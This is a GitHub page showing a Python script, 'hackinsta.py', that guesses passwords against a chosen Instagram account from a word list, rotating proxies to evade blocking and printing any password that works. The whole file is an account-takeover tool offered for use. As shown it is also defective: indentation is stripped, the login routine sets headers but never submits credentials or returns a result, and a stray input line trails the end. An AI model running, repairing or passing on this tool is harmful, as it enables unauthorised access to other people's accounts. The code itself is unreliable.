/
hackinsta.py
151 lines (120 loc) · 3.9 KB
/
hackinsta.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
'''
Datisnetwork.com creation
'''
#import library
import requests
import json
import time
import os
import random
import sys
#presentation & Thanks
print("A creation by AmirMohammad Jalili")
print("")
print("If you need: ")
print("Telegram: @datisnetwork")
print("")
#Help function
def Input(text):
value = ''
if sys.version_info.major > 2:
value = input(text)
else:
value = raw_input(text)
return str(value)
#The main class
class Instabrute():
def __init__(self, username, passwordsFile='password-list-2.txt'):
self.username = username
self.CurrentProxy = ''
self.UsedProxys = []
self.passwordsFile = passwordsFile
#Check if passwords file exists
self.loadPasswords()
#Check if username exists
self.IsUserExists()
UsePorxy = Input('[*] Do you want to use proxy (y/n): ').upper()
if (UsePorxy == 'Y' or UsePorxy == 'YES'):
self.randomProxy()
#Check if password file exists and check if he contain passwords
def loadPasswords(self):
if os.path.isfile(self.passwordsFile):
with open(self.passwordsFile) as f:
self.passwords = f.read().splitlines()
passwordsNumber = len(self.passwords)
if (passwordsNumber > 0):
print ('[*] %s Passwords loads successfully' % passwordsNumber)
else:
print('Password file are empty, Please add passwords to it.')
Input('[*] Press enter to exit')
exit()
else:
print ('Please create passwords file named "%s"' % self.passwordsFile)
Input('[*] Press enter to exit')
exit()
#Choose random proxy from proxys file
def randomProxy(self):
plist = open('proxy.txt').read().splitlines()
proxy = random.choice(plist)
if not proxy in self.UsedProxys:
self.CurrentProxy = proxy
self.UsedProxys.append(proxy)
try:
print('')
print('[*] Check new ip...')
print ('[*] Your public ip: %s' % requests.get('http://myexternalip.com/raw', proxies={ "http": proxy, "https": proxy },timeout=10.0).text)
except Exception as e:
print ('[*] Can\'t reach proxy "%s"' % proxy)
print('')
#Check if username exists in instagram server
def IsUserExists(self):
r = requests.get('https://www.instagram.com/%s/?__a=1' % self.username)
if (r.status_code == 404):
print ('[*] User named "%s" not found' % username)
Input('[*] Press enter to exit')
exit()
elif (r.status_code == 200):
return True
#Try to login with password
def Login(self, password):
sess = requests.Session()
if len(self.CurrentProxy) > 0:
sess.proxies = { "http": self.CurrentProxy, "https": self.CurrentProxy }
#build requests headers
sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''})
sess.headers.update({
'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
'x-instagram-ajax':'1',
'X-Requested-With': 'XMLHttpRequest',
'origin': 'https://www.instagram.com',
'ContentType' : 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
'Accept': '*/*',
'Referer': 'https://www.instagram.com',
'authority': 'www.instagram.com',
'Host' : 'www.instagram.com',
'Accept-Language' : 'en-US;q=0.6,en;q=0.4',
'Accept-Encoding' : 'gzip, deflate'
})
instabrute = Instabrute(Input('Please enter a username: '))
try:
delayLoop = int(Input('[*] Please add delay between the bruteforce action (in seconds): '))
except Exception as e:
print ('[*] Error, software use the defult value "4"')
delayLoop = 4
print ('')
for password in instabrute.passwords:
sess = instabrute.Login(password)
if sess:
print ('[*] Login success %s' % [instabrute.username,password])
else:
print ('[*] Password incorrect [%s]' % password)
try:
time.sleep(delayLoop)
except KeyboardInterrupt:
WantToExit = str(Input('Type y/n to exit: ')).upper()
if (WantToExit == 'Y' or WantToExit == 'YES'):
exit()
else:
continue
importante = input()